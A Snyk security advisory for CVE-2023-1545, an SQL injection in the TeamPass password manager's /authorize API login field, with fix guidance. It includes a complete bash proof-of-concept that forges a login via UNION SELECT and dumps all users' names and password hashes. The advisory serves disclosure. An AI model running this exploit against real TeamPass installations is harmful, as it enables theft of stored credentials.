SQL Injection Affecting nilsteampassnet/teampass package, versions >=0.0.0, <3.0.10
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PHP-NILSTEAMPASSNETTEAMPASS-3367612
- published22 Mar 2023
- disclosed21 Mar 2023
- creditSonia Zorba
Introduced: 21 Mar 2023
CVE-2023-1545 (opens in a new tab)How to fix?
Upgrade nilsteampassnet/teampass to version 3.0.10 or higher.
Overview
nilsteampassnet/teampass is a password manager.
Affected versions of this package are vulnerable to SQL Injection due to improper input sanitization. Exploiting this vulnerability is possible via the TeamPass /authorize API endpoint through the login field.
PoC
if [ "$#" -lt 1 ]; then
echo "Usage: $0 <base-url>"
exit 1
fi
vulnerable_url="$1/api/index.php/authorize"
check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
echo "API feature is not enabled :-("
exit 1
fi
# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
exec_sql() {
inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}
users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
echo "There are $users users in the system:"
for i in `seq 0 $(($users-1))`; do
username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
echo "$username: $password"
done